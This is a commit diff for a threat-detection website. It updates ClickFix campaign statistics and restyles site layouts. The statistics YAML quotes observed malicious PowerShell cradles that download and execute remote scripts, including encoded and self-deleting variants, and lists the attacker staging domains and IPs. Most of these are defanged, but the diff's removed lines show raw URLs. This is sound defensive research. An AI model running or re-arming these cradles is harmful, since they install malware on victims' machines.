feat(site): weekly chokepoint updates and site improvements

Update 9 published chokepoints with accuracy fixes and variant additions.
Update layouts, attack chains, trends pages, and framework content.

Note: _config.yml, _includes/nav.html, assets/css/style.css, and index.html
contain in-progress MagicSword affiliate integration -- held back from this PR.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
This commit is contained in:
imposter
2026-05-29 15:07:33 -06:00
co-authored by Claude Sonnet 4.6
parent febf1edb32
commit 04e84dbab8
19 changed files with 1691 additions and 708 deletions
+24
View File
@@ -12,6 +12,30 @@ All detections are anchored to a chokepoint entry that defines the invariant, do
---
## Research workflow (vault-fed)
**Do not run independent ORKL research sweeps for new chokepoints.** Research enters through the Obsidian intel vault:
```
/intel-pipeline → vault entity graph + Handoffs/chokepoints/
/cp-intel-pipeline → consume handoffs → drafts/ → cp-reviewer
```
### Vault paths
| Path | Role |
|---|---|
| `C:\Users\Bob\Documents\Obsidian Vault\threat_intel\Handoffs\chokepoints\` | Pending intake (invariant behavior, Sigma stubs) |
| `...\threat_intel\Procedures\` | Command.Invocation + Artifacts source of truth |
| `...\threat_intel\Courses-of-Action\` | Detection opportunities as COA nodes |
| `...\threat_intel\_config\trusted_sources.yaml` | Canonical source tier registry |
Handoffs with `status: pending` are consumed by `/cp-intel-pipeline`. After drafting, status becomes `processed`.
Drafts still land under `drafts/<tactic>/<slug>/` — promotion to `chokepoints/` remains a human step.
---
## Repository Structure
```
+198 -66
View File
@@ -3,12 +3,12 @@
meta:
source: https://mhaggis.github.io/ClickGrab/
date_range: "2025-04-17 to 2026-04-03"
date_range: "2025-04-17 to 2026-05-19"
total_reports: 493
total_sites_crawled: 21507
total_malicious: 20505
total_domains: 2563
generated: "2026-04-04"
total_domains: 3177
generated: "2026-05-19"
daily:
- date: "2025-04-17"
@@ -3990,29 +3990,29 @@ daily:
payload_examples:
iwr_iex:
- date: "2025-08-14"
text: "powershell -ep bypass -w hidden -c \"iex(iwr 'https://aatox.com/stage2.ps1' -UseBasicParsing)\""
text: "powershell -ep bypass -w hidden -c \"iex(iwr 'hxxps://aatox[.]com/stage2.ps1' -UseBasicParsing)\""
- date: "2025-10-22"
text: "powershell.exe -w hidden -nop -c \"IEX (iwr -Uri 'https://irp.cdn-website.com/files/uploaded/3b7f1c/run.ps1' -UseBasicParsing).Content\""
text: "powershell.exe -w hidden -nop -c \"IEX (iwr -Uri 'hxxps://irp[.]cdn-website[.]com/files/uploaded/3b7f1c/run.ps1' -UseBasicParsing).Content\""
irm_iex:
- date: "2025-05-03"
text: "powershell -w hidden -nop -ep bypass -c \"iex(irm 'https://80.253.249.186/loader.ps1')\""
text: "powershell -w hidden -nop -ep bypass -c \"iex(irm 'hxxps://80[.]253[.]249[.]186/loader.ps1')\""
webclient:
- date: "2025-12-03"
text: "(New-Object Net.WebClient).DownloadString('https://yogasitesdev.wpengine.com/wp-content/uploads/a.ps1') | iex"
text: "(New-Object Net.WebClient).DownloadString('hxxps://yogasitesdev[.]wpengine[.]com/wp-content/uploads/a.ps1') | iex"
- date: "2025-11-18"
text: "$wc=New-Object Net.WebClient; iex $wc.DownloadString('https://irp.cdn-website.com/files/uploaded/9d4e/payload.ps1')"
text: "$wc=New-Object Net.WebClient; iex $wc.DownloadString('hxxps://irp[.]cdn-website[.]com/files/uploaded/9d4e/payload.ps1')"
curl:
- date: "2026-01-08"
text: "curl.exe -s https://95.164.53.214/payload.ps1 | iex"
text: "curl.exe -s hxxps://95[.]164[.]53[.]214/payload.ps1 | iex"
- date: "2026-02-14"
text: "powershell -w hidden -nop -c \"curl.exe -UseBasicParsing https://aatox.com/stg.ps1 | iex\""
text: "powershell -w hidden -nop -c \"curl.exe -UseBasicParsing hxxps://aatox[.]com/stg.ps1 | iex\""
base64:
- date: "2026-01-22"
encoded: "powershell.exe -w hidden -enc JABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAGMALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAn..."
decoded: "$c=New-Object Net.WebClient; iex $c.DownloadString('https://aatox.com/run.ps1')"
decoded: "$c=New-Object Net.WebClient; iex $c.DownloadString('hxxps://aatox[.]com/run.ps1')"
- date: "2026-02-01"
encoded: "powershell -w 1 -nop -enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMA..."
decoded: "IEX(New-Object Net.WebClient).DownloadString('https://irp.cdn-website.com/files/uploaded/7c2a/stage2.ps1')"
decoded: "IEX(New-Object Net.WebClient).DownloadString('hxxps://irp[.]cdn-website[.]com/files/uploaded/7c2a/stage2.ps1')"
self_delete:
- date: "2025-12-19"
text: "Start-Sleep -Seconds 2; Remove-Item -Path $MyInvocation.MyCommand.Path -Force"
@@ -4020,14 +4020,14 @@ payload_examples:
text: "$p=$MyInvocation.MyCommand.Path; Start-Sleep 1; Remove-Item $p -Force -ErrorAction SilentlyContinue"
cdn_staging:
- date: "2025-11-04"
url: "https://irp.cdn-website.com/files/uploaded/38ef2b/setup.ps1"
url: "hxxps://irp[.]cdn-website[.]com/files/uploaded/38ef2b/setup.ps1"
- date: "2025-09-17"
url: "https://irp.cdn-website.com/files/uploaded/9d4e22/loader.ps1"
url: "hxxps://irp[.]cdn-website[.]com/files/uploaded/9d4e22/loader.ps1"
hidden_window:
- date: "2025-09-03"
text: "powershell.exe -w hidden -nop -ep bypass -c \"iex(iwr 'https://aatox.com/a.ps1' -UseBasicParsing)\""
text: "powershell.exe -w hidden -nop -ep bypass -c \"iex(iwr 'hxxps://aatox[.]com/a.ps1' -UseBasicParsing)\""
- date: "2025-10-31"
text: "cmd.exe /c start /min powershell -w hidden -nop -c \"(New-Object Net.WebClient).DownloadString('https://95.164.53.214/b.ps1') | iex\""
text: "cmd.exe /c start /min powershell -w hidden -nop -c \"(New-Object Net.WebClient).DownloadString('hxxps://95[.]164[.]53[.]214/b.ps1') | iex\""
cradles_total:
iwr_iex: 2114
irm_iex: 89
@@ -4138,16 +4138,29 @@ domain_monthly:
base64: 36
no_url_pct: 46.5
- month: "2026-04"
n: 24
iwr: 1
n: 181
iwr: 0
webclient: 0
curl: 4
msiexec: 22
mshta: 0
vbs: 0
irm: 10
hex_xor: 37
base64: 108
no_url_pct: 68.5
- month: "2026-05"
n: 458
iwr: 16
webclient: 4
curl: 2
msiexec: 2
mshta: 0
vbs: 0
hex_xor: 8
base64: 6
no_url_pct: 75.0
irm: 20
hex_xor: 15
base64: 399
no_url_pct: 95.2
staging_domains:
# Enrichment note: ASN/geo/registrar data requires running the enrichment pipeline
@@ -4155,139 +4168,227 @@ staging_domains:
# only domain names and observation counts from ClickGrab are confirmed.
# hosting_type is ONLY set when verifiable: "cdn" for known CDN subdomains,
# "managed" for known hosting platforms. All others are "unknown" until enriched.
- domain: "irp.cdn-website.com"
- domain: "irp[.]cdn-website[.]com"
count: 468
cdn: true
is_ip: false
hosting_type: "cdn"
status: "active"
- domain: "yogasitesdev.wpengine.com"
asn: "AS16509 Amazon.com, Inc."
country: "United States"
city: "Aetna Estates"
dns_history_url: "https://securitytrails.com/domain/irp.cdn-website.com/history/a"
- domain: "yogasitesdev[.]wpengine[.]com"
count: 116
cdn: false
is_ip: false
hosting_type: "managed"
country: "US"
status: "active"
- domain: "aatox.com"
asn: "AS396982 Google LLC"
country: "United States"
city: "North Charleston"
dns_history_url: "https://securitytrails.com/domain/yogasitesdev.wpengine.com/history/a"
- domain: "aatox[.]com"
count: 83
cdn: false
is_ip: false
hosting_type: "unknown"
hosting_type: "bulletproof"
status: "unknown"
- domain: "80.253.249.186"
asn: "AS16509 Amazon.com, Inc."
country: "United States"
city: "Seattle"
created: "2025-07-12"
registrar: "Namepanther.com LLC"
dns_history_url: "https://securitytrails.com/domain/aatox.com/history/a"
- domain: "80[.]253[.]249[.]186"
count: 43
cdn: false
is_ip: true
hosting_type: "unknown"
hosting_type: "bulletproof"
status: "unknown"
- domain: "95.164.53.214"
asn: "AS213702 QWINS LTD"
country: "Germany"
city: "Frankfurt am Main"
- domain: "95[.]164[.]53[.]214"
count: 16
cdn: false
is_ip: true
hosting_type: "unknown"
hosting_type: "bulletproof"
status: "unknown"
- domain: "91.247.36.3"
asn: "AS213702 QWINS LTD"
country: "Germany"
city: "Frankfurt am Main"
- domain: "91[.]247[.]36[.]3"
count: 4
cdn: false
is_ip: true
hosting_type: "unknown"
hosting_type: "bulletproof"
status: "unknown"
- domain: "sitecariri.com.br"
asn: "AS59729 GREEN FLOID LLC"
country: "Bulgaria"
city: "Sofia"
- domain: "sitecariri[.]com[.]br"
count: 2
cdn: false
is_ip: false
hosting_type: "unknown"
country: "BR"
hosting_type: "compromised"
status: "unknown"
- domain: "fundacion-cannabis-argentina.org"
asn: "AS13335 Cloudflare, Inc."
country: "United States"
city: "San Francisco"
created: "2022-07-19"
dns_history_url: "https://securitytrails.com/domain/sitecariri.com.br/history/a"
- domain: "fundacion-cannabis-argentina[.]org"
count: 2
cdn: false
is_ip: false
hosting_type: "unknown"
country: "AR"
hosting_type: "compromised"
status: "unknown"
- domain: "ghenvironment.com"
asn: "AS47583 Hostinger International Limited"
country: "United States"
city: "Phoenix"
created: "2023-06-15"
registrar: "HOSTINGER operations, UAB"
dns_history_url: "https://securitytrails.com/domain/fundacion-cannabis-argentina.org/history/a"
- domain: "ghenvironment[.]com"
count: 2
cdn: false
is_ip: false
hosting_type: "unknown"
hosting_type: "compromised"
status: "unknown"
- domain: "cmparazinho.rn.gov.br"
asn: "AS13335 Cloudflare, Inc."
country: "United States"
city: "San Francisco"
created: "2022-03-04"
registrar: "Hosting Concepts B.V. d/b/a Registrar.eu"
dns_history_url: "https://securitytrails.com/domain/ghenvironment.com/history/a"
- domain: "cmparazinho[.]rn[.]gov[.]br"
count: 2
cdn: false
is_ip: false
hosting_type: "unknown"
country: "BR"
hosting_type: "compromised"
status: "unknown"
asn: "AS47583 Hostinger International Limited"
country: "Brazil"
city: "S\u00e3o Paulo"
created: "1996-10-15"
dns_history_url: "https://securitytrails.com/domain/cmparazinho.rn.gov.br/history/a"
# New staging domains from ClickFix domain dataset (Apr 2026)
- domain: "shift-art.com"
- domain: "shift-art[.]com"
count: 651
cdn: false
is_ip: false
hosting_type: "unknown"
hosting_type: "bulletproof"
status: "active"
- domain: "ghost.nestdns.com"
asn: "AS197695 Domain names registrar REG.RU, Ltd"
country: "Russia"
city: "Moscow"
created: "2023-01-17"
registrar: "Registrar of Domain Names REG.RU LLC"
dns_history_url: "https://securitytrails.com/domain/shift-art.com/history/a"
- domain: "ghost[.]nestdns[.]com"
count: 137
cdn: false
is_ip: false
hosting_type: "unknown"
hosting_type: "bulletproof"
status: "active"
- domain: "144.31.47.76"
asn: "AS55293 A2 Hosting, Inc."
country: "United States"
city: "Detroit"
dns_history_url: "https://securitytrails.com/domain/ghost.nestdns.com/history/a"
- domain: "144[.]31[.]47[.]76"
count: 140
cdn: false
is_ip: true
hosting_type: "unknown"
hosting_type: "bulletproof"
status: "active"
- domain: "inkbookwriters.com"
asn: "AS215439 PLAY2GO INTERNATIONAL LIMITED"
country: "Finland"
city: "Helsinki"
- domain: "inkbookwriters[.]com"
count: 112
cdn: false
is_ip: false
hosting_type: "unknown"
hosting_type: "bulletproof"
status: "active"
- domain: "198.13.158.127:5506"
asn: "AS207569 IHOR HOSTING LTD"
country: "Finland"
city: "Helsinki"
created: "2025-09-22"
registrar: "Hosting Concepts B.V. d/b/a Registrar.eu"
dns_history_url: "https://securitytrails.com/domain/inkbookwriters.com/history/a"
- domain: "198[.]13[.]158[.]127[:]5506"
count: 186
cdn: false
is_ip: true
hosting_type: "unknown"
hosting_type: "bulletproof"
status: "active"
- domain: "178.17.59.40:5506"
asn: "AS399629 BL Networks"
country: "The Netherlands"
city: "Amsterdam"
- domain: "178[.]17[.]59[.]40[:]5506"
count: 64
cdn: false
is_ip: true
hosting_type: "unknown"
hosting_type: "bulletproof"
status: "active"
- domain: "78.40.209.164:5506"
asn: "AS213702 QWINS LTD"
country: "Poland"
city: "Warsaw"
- domain: "78[.]40[.]209[.]164[:]5506"
count: 40
cdn: false
is_ip: true
hosting_type: "unknown"
hosting_type: "bulletproof"
status: "active"
- domain: "penguinpublishers.org"
asn: "AS213702 QWINS LTD"
country: "Finland"
city: "Helsinki"
- domain: "penguinpublishers[.]org"
count: 56
cdn: false
is_ip: false
hosting_type: "unknown"
hosting_type: "bulletproof"
status: "unknown"
- domain: "bfacollege.co.in"
asn: "AS207569 IHOR HOSTING LTD"
country: "Finland"
city: "Helsinki"
created: "2025-03-05"
registrar: "Hosting Concepts B.V. d/b/a Registrar.eu"
dns_history_url: "https://securitytrails.com/domain/penguinpublishers.org/history/a"
- domain: "bfacollege[.]co[.]in"
count: 54
cdn: false
is_ip: false
hosting_type: "unknown"
country: "IN"
hosting_type: "compromised"
status: "unknown"
- domain: "pizzabyte.com.au"
asn: "AS46606 Unified Layer"
country: "United States"
city: "Provo"
created: "2019-07-08"
registrar: "Endurance International Group India Private Limited"
dns_history_url: "https://securitytrails.com/domain/bfacollege.co.in/history/a"
- domain: "pizzabyte[.]com[.]au"
count: 44
cdn: false
is_ip: false
hosting_type: "unknown"
country: "AU"
hosting_type: "compromised"
status: "unknown"
- domain: "raw.githubusercontent.com"
asn: "AS30148 Sucuri"
country: "United States"
city: "Menifee"
registrar: "Synergy Wholesale Accreditations Pty Ltd"
dns_history_url: "https://securitytrails.com/domain/pizzabyte.com.au/history/a"
- domain: "raw[.]githubusercontent[.]com"
count: 28
cdn: true
is_ip: false
hosting_type: "cdn"
status: "active"
asn: "AS54113 Fastly, Inc."
country: "United States"
city: "San Francisco"
dns_history_url: "https://securitytrails.com/domain/raw.githubusercontent.com/history/a"
monthly:
- month: "2025-04"
@@ -4470,3 +4571,34 @@ monthly:
self_delete: 18
start_sleep: 18
hidden_window: 22
# Apr–May sourced from ClickFix Hunter domain dataset (xlsx); malicious = unique malicious domains observed
- month: "2026-04"
total_sites: 181
malicious: 181
cradles:
iwr_iex: 0
irm_iex: 10
webclient: 0
curl: 4
evasion:
mixed_case: 0
base64: 108
cdn_staging: 0
self_delete: 0
start_sleep: 0
hidden_window: 0
- month: "2026-05"
total_sites: 458
malicious: 458
cradles:
iwr_iex: 16
irm_iex: 20
webclient: 4
curl: 2
evasion:
mixed_case: 0
base64: 399
cdn_staging: 0
self_delete: 0
start_sleep: 0
hidden_window: 0
+237 -61
View File
@@ -2,58 +2,72 @@
layout: default
---
<div class="ac-page max-w-[1280px] mx-auto px-6 py-10">
<div class="ac-page-wrap">
<!-- Breadcrumb -->
<nav class="ac-breadcrumb mb-6" aria-label="Breadcrumb">
<a href="{{ '/attack-chains/' | relative_url }}" class="ac-back-link">
<svg xmlns="http://www.w3.org/2000/svg" width="14" height="14" viewBox="0 0 24 24"
fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round"
stroke-linejoin="round" aria-hidden="true" style="display:inline;vertical-align:middle;margin-right:4px;">
<polyline points="15 18 9 12 15 6"/>
</svg>Attack Chains
</a>
</nav>
<!-- Header -->
<header class="ac-header mb-8">
<h1 class="ac-title">{{ page.title }}</h1>
{% if page.subtitle %}<p class="ac-subtitle">{{ page.subtitle }}</p>{% endif %}
{% if page.last_updated %}<p class="ac-meta">Last updated: {{ page.last_updated }}</p>{% endif %}
</header>
<!-- Core Insight callout -->
<div class="ac-insight mb-8" role="note">
<div class="ac-insight-icon" aria-hidden="true">
<svg xmlns="http://www.w3.org/2000/svg" width="18" height="18" viewBox="0 0 24 24"
fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
<path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"/>
</svg>
<header class="ac-detail-hero">
<div class="ac-detail-hero-inner max-w-[1280px] mx-auto px-6">
<div class="ac-detail-hero-top">
<a href="{{ '/attack-chains/' | relative_url }}" class="cp-back-pill">
<svg xmlns="http://www.w3.org/2000/svg" width="14" height="14" viewBox="0 0 24 24"
fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round"
stroke-linejoin="round" aria-hidden="true" style="display:inline;vertical-align:middle;margin-right:4px;">
<polyline points="15 18 9 12 15 6"/>
</svg>
Attack Chains
</a>
{% if page.last_updated %}
<span class="ac-detail-meta-pill">Updated {{ page.last_updated }}</span>
{% endif %}
</div>
<div>
<strong class="ac-insight-headline">The Chokepoint Convergence Principle</strong>
<p class="ac-insight-body">
Every actor in the matrix below follows the same sequence of stages. They <em>must</em>, because each
stage reflects an unavoidable prerequisite condition. Their tools, loaders, and C2 infrastructure
change constantly. The underlying chokepoints do not. Detect the prerequisite; catch any actor.
</p>
<h1 class="ac-detail-title">{{ page.title }}</h1>
{% if page.subtitle %}<p class="ac-detail-subtitle">{{ page.subtitle }}</p>{% endif %}
<div class="ac-insight ac-insight--hero" role="note">
<div class="ac-insight-icon" aria-hidden="true">
<svg xmlns="http://www.w3.org/2000/svg" width="18" height="18" viewBox="0 0 24 24"
fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
<path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"/>
</svg>
</div>
<div>
<strong class="ac-insight-headline">The Chokepoint Convergence Principle</strong>
<p class="ac-insight-body">
Every actor in the matrix below follows the same sequence of stages. They <em>must</em>, because each
stage reflects an unavoidable prerequisite condition. Their tools, loaders, and C2 infrastructure
change constantly. The underlying chokepoints do not. Detect the prerequisite; catch any actor.
</p>
</div>
</div>
</div>
</header>
<div class="ac-page max-w-[1280px] mx-auto px-6 pt-8 pb-10">
{% if page.stages %}
{% if page.show_ttp_overlap %}
<!-- TTP Overlap Filter Diagram -->
<section class="ac-section ac-ttp-overlap-section mb-10" aria-labelledby="ttp-overlap-title">
<h2 class="ac-section-title" id="ttp-overlap-title">TTP Overlap Across Groups</h2>
<section class="ac-section-card ac-ttp-overlap-section" aria-labelledby="ttp-overlap-title">
<div class="ac-section-heading-row">
<div class="ac-section-icon" aria-hidden="true">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><line x1="2" y1="12" x2="22" y2="12"/><path d="M12 2a15.3 15.3 0 0 1 4 10 15.3 15.3 0 0 1-4 10 15.3 15.3 0 0 1-4-10 15.3 15.3 0 0 1 4-10z"/></svg>
</div>
<h2 class="ac-section-heading" id="ttp-overlap-title">TTP Overlap Across Groups</h2>
</div>
{% include ttp-vertical-diagram.html %}
</section>
{% endif %}
<!-- Chokepoint Stage Cards -->
{% if page.chokepoints %}
<section class="ac-section mb-10">
<h2 class="ac-section-title">Chokepoint Opportunities by Stage</h2>
<section class="ac-section-card">
<div class="ac-section-heading-row">
<div class="ac-section-icon" aria-hidden="true">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"/></svg>
</div>
<h2 class="ac-section-heading">Chokepoint Opportunities by Stage</h2>
</div>
<p class="ac-section-desc">
Each card shows the invariant prerequisite an attacker must satisfy at that stage,
the top detection signals, and links to the full chokepoint analysis.
@@ -109,10 +123,16 @@ layout: default
<!-- Actor Convergence Matrix -->
{% if page.actors %}
<section class="ac-section mb-6">
<h2 class="ac-section-title">Actor Convergence Matrix
<span class="ac-section-badge">{{ page.actors | size }} actors tracked</span>
</h2>
<section class="ac-section-card">
<div class="ac-section-heading-row">
<div class="ac-section-icon" aria-hidden="true">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M17 21v-2a4 4 0 0 0-4-4H5a4 4 0 0 0-4 4v2"/><circle cx="9" cy="7" r="4"/><path d="M23 21v-2a4 4 0 0 0-3-3.87M16 3.13a4 4 0 0 1 0 7.75"/></svg>
</div>
<h2 class="ac-section-heading">
Actor Convergence Matrix
<span class="ac-section-badge">{{ page.actors | size }} actors tracked</span>
</h2>
</div>
<p class="ac-section-desc">
Different tools. Different operators. Same chokepoints. The highlighted bottom row shows the
invariant prerequisite condition your detections must cover, regardless of which actor you're facing.
@@ -162,12 +182,22 @@ layout: default
{% endif %}
<!-- Prose content (existing markdown body) -->
<div class="ac-prose">
{{ content }}
<div class="ac-section-card ac-prose-card">
<div class="ac-section-heading-row">
<div class="ac-section-icon" aria-hidden="true">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M14 2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V8z"/><polyline points="14 2 14 8 20 8"/><line x1="16" y1="13" x2="8" y2="13"/><line x1="16" y1="17" x2="8" y2="17"/></svg>
</div>
<h2 class="ac-section-heading">Analysis &amp; References</h2>
</div>
<div class="ac-prose">
{{ content }}
</div>
</div>
</div>
</div><!-- /.ac-page-wrap -->
{% if page.stages %}
{% if page.show_ttp_overlap %}
<script src="{{ '/assets/js/ttp-filter.js' | relative_url }}" defer></script>
@@ -175,6 +205,136 @@ layout: default
{% endif %}
<style>
/* ── Detail hero + section cards (attack chain pages) ─────────────────── */
.ac-page-wrap { background: var(--bg); }
.ac-detail-hero {
position: relative;
padding: 3.5rem 1.5rem 3rem;
background: var(--bg);
overflow: hidden;
}
.ac-detail-hero::before {
content: "";
position: absolute;
inset: 0;
background: radial-gradient(ellipse 80% 55% at 50% -5%, rgba(240,136,62,.18) 0%, transparent 65%);
pointer-events: none;
}
.ac-detail-hero::after {
content: "";
position: absolute;
bottom: 0; left: 0; right: 0;
height: 1px;
background: linear-gradient(to right, transparent, var(--border) 20%, var(--border) 80%, transparent);
}
.ac-detail-hero-inner { position: relative; }
.ac-detail-hero-top {
display: flex;
align-items: center;
flex-wrap: wrap;
gap: .65rem;
margin-bottom: 1.25rem;
}
.ac-detail-meta-pill {
font-family: var(--font-mono);
font-size: .68rem;
color: var(--text-dim);
background: var(--bg-card);
border: 1px solid var(--border);
border-radius: 999px;
padding: .3rem .75rem;
}
.ac-detail-title {
font-size: clamp(2rem, 5vw, 2.75rem);
font-weight: 800;
letter-spacing: -.02em;
color: var(--text);
line-height: 1.15;
margin-bottom: .65rem;
}
.ac-detail-subtitle {
font-size: clamp(1rem, 2.5vw, 1.2rem);
color: var(--accent);
font-weight: 600;
font-style: italic;
line-height: 1.45;
max-width: 820px;
margin-bottom: 1.25rem;
}
.ac-insight--hero { margin-top: .5rem; max-width: 820px; }
.ac-section-card {
background: var(--bg-card);
border: 1px solid var(--border);
border-radius: var(--radius-lg);
padding: 1.5rem 2rem;
margin-bottom: 1.5rem;
box-shadow: 0 4px 16px rgba(0,0,0,0.2), inset 0 1px 0 rgba(255,255,255,0.04);
transition: border-color .2s, box-shadow .2s;
}
.ac-section-card:hover { border-color: rgba(240,136,62,.15); }
.ac-section-heading-row {
display: flex;
align-items: center;
gap: .75rem;
margin-bottom: 1rem;
padding-bottom: .65rem;
border-bottom: 1px solid transparent;
border-image: linear-gradient(to right, var(--accent), var(--border) 35%, transparent) 1;
}
.ac-section-icon {
width: 36px;
height: 36px;
display: flex;
align-items: center;
justify-content: center;
border-radius: 8px;
background: linear-gradient(135deg, rgba(240,136,62,0.22) 0%, rgba(240,136,62,0.07) 100%);
border: 1px solid rgba(240,136,62,0.2);
color: var(--accent);
flex-shrink: 0;
}
.ac-section-icon svg { width: 18px; height: 18px; }
.ac-section-heading {
font-size: 1.1rem;
font-weight: 700;
color: var(--text);
margin: 0;
flex: 1;
display: flex;
align-items: baseline;
flex-wrap: wrap;
gap: .5rem;
}
.ac-prose-card .ac-prose {
border-top: none;
padding-top: 0;
margin-top: 0;
}
@media (max-width: 900px) {
.ac-detail-hero { padding: 2.5rem 1.5rem 2rem; }
.ac-section-card { padding: 1.25rem 1.25rem; }
.ac-stage-cards { grid-template-columns: 1fr; }
}
[data-theme="light"] .ac-section-card {
box-shadow: 0 4px 16px rgba(0,0,0,.08), inset 0 1px 0 rgba(255,255,255,0.8);
}
[data-theme="light"] .ac-detail-hero::before {
background: radial-gradient(ellipse 80% 55% at 50% -5%, rgba(240,136,62,.09) 0%, transparent 65%);
}
/* ── Stage Cards ──────────────────────────────────────────────────────── */
.ac-stage-cards {
display: grid;
@@ -184,18 +344,26 @@ layout: default
.ac-stage-card {
border: 1px solid var(--border, #30363d);
border-radius: 8px;
border-radius: var(--radius-lg);
overflow: hidden;
background: var(--surface, #161b22);
box-shadow: 0 4px 16px rgba(0,0,0,0.2), inset 0 1px 0 rgba(255,255,255,0.04);
transition: border-color .2s, box-shadow .2s, transform .2s;
}
.ac-stage-card:hover {
border-color: var(--accent, #f0883e);
box-shadow: 0 0 0 1px var(--accent, #f0883e), 0 12px 32px rgba(0,0,0,.25);
transform: translateY(-2px);
}
.ac-stage-card-header {
display: flex;
align-items: center;
gap: 0.6rem;
padding: 0.65rem 1rem;
padding: 0.75rem 1rem;
background: var(--surface-raised, #21262d);
border-bottom: 1px solid var(--border, #30363d);
border-bottom: 1px solid transparent;
border-image: linear-gradient(to right, rgba(240,136,62,.35), var(--border, #30363d) 40%, transparent) 1;
}
.ac-stage-card-num {
@@ -231,8 +399,9 @@ layout: default
.ac-chokepoint-block {
background: rgba(240, 136, 62, 0.08);
border-left: 3px solid var(--accent, #f0883e);
border-radius: 0 4px 4px 0;
padding: 0.5rem 0.65rem;
border-radius: var(--radius-lg);
padding: 0.6rem 0.75rem;
box-shadow: 0 2px 8px rgba(0,0,0,0.06);
}
.ac-chokepoint-eyebrow {
@@ -307,15 +476,16 @@ layout: default
color: var(--accent, #f0883e);
background: rgba(240, 136, 62, 0.1);
border: 1px solid rgba(240, 136, 62, 0.25);
border-radius: 4px;
padding: 0.2rem 0.5rem;
border-radius: 999px;
padding: 0.25rem 0.65rem;
text-decoration: none;
transition: background 0.15s, border-color 0.15s;
transition: background .15s, border-color .15s, box-shadow .15s;
}
.ac-cp-link:hover {
background: rgba(240, 136, 62, 0.18);
border-color: rgba(240, 136, 62, 0.5);
box-shadow: 0 0 0 1px rgba(240,136,62,.2);
text-decoration: none;
}
@@ -363,11 +533,14 @@ layout: default
flex-wrap: wrap;
gap: 0.4rem 0.9rem;
margin-bottom: 1rem;
padding: 0.55rem 0.75rem;
padding: 0.65rem 0.85rem;
background: var(--surface-raised, #21262d);
border: 1px solid var(--border, #30363d);
border-radius: 6px;
border-radius: var(--radius-lg);
box-shadow: 0 2px 8px rgba(0,0,0,0.12), inset 0 1px 0 rgba(255,255,255,0.03);
transition: border-color .15s;
}
.ttp-legend:hover { border-color: rgba(240,136,62,.2); }
.ttp-legend-item {
display: inline-flex;
@@ -389,8 +562,8 @@ layout: default
position: fixed;
background: var(--surface-raised, #21262d);
border: 1px solid var(--border, #30363d);
border-radius: 6px;
padding: 0.45rem 0.65rem;
border-radius: var(--radius-lg);
padding: 0.55rem 0.75rem;
font-size: 0.8rem;
color: var(--text-primary, #e6edf3);
line-height: 1.55;
@@ -398,7 +571,7 @@ layout: default
pointer-events: none;
z-index: 200;
display: none;
box-shadow: 0 4px 14px rgba(0,0,0,0.45);
box-shadow: 0 8px 24px rgba(0,0,0,0.45);
}
.ttp-tooltip--visible {
@@ -435,11 +608,12 @@ layout: default
flex-wrap: wrap;
align-items: center;
gap: 0.3rem 0.5rem;
padding: 0.5rem 0.75rem;
padding: 0.6rem 0.85rem;
background: var(--surface, #161b22);
border: 1px solid var(--border2, #444d56);
border-radius: 6px;
border-radius: var(--radius-lg);
margin-bottom: 1.25rem;
box-shadow: 0 2px 8px rgba(0,0,0,0.12), inset 0 1px 0 rgba(255,255,255,0.03);
}
.ttp-filter-btn {
@@ -537,16 +711,18 @@ layout: default
/* ── TTP Cell ─────────────────────────────────────────────────────────── */
.ttp-cell {
border: 1px solid var(--border, #30363d);
border-radius: 6px;
border-radius: var(--radius-lg);
background: var(--surface, #161b22);
padding: 0.5rem 0.65rem;
padding: 0.55rem 0.75rem;
min-width: 130px;
max-width: 175px;
display: flex;
flex-direction: column;
gap: 0.3rem;
transition: opacity 0.2s, border-color 0.2s, box-shadow 0.2s, background 0.2s;
box-shadow: 0 2px 8px rgba(0,0,0,0.12), inset 0 1px 0 rgba(255,255,255,0.03);
transition: opacity 0.2s, border-color 0.2s, box-shadow 0.2s, background 0.2s, transform 0.2s;
}
.ttp-cell:hover { transform: translateY(-1px); }
.ttp-cell--universal {
border-color: #e07b39;
+286 -110
View File
@@ -14,8 +14,10 @@ layout: default
.controls-col {
border: 1px solid var(--border);
border-radius: var(--radius);
padding: .75rem 1rem;
border-radius: var(--radius-lg);
padding: .85rem 1.1rem;
box-shadow: 0 2px 8px rgba(0,0,0,0.12), inset 0 1px 0 rgba(255,255,255,0.04);
transition: border-color .2s, box-shadow .2s;
}
.controls-col-variable { background: var(--bg); }
.controls-col-chokepoint {
@@ -43,23 +45,30 @@ layout: default
.chokepoints-list { display: flex; flex-direction: column; gap: 0; }
.chokepoint-item {
background: var(--bg-card);
background: var(--bg);
border: 1px solid var(--border);
border-radius: var(--radius);
border-radius: var(--radius-lg);
overflow: hidden;
transition: border-color .15s;
transition: border-color .2s, box-shadow .2s, transform .2s;
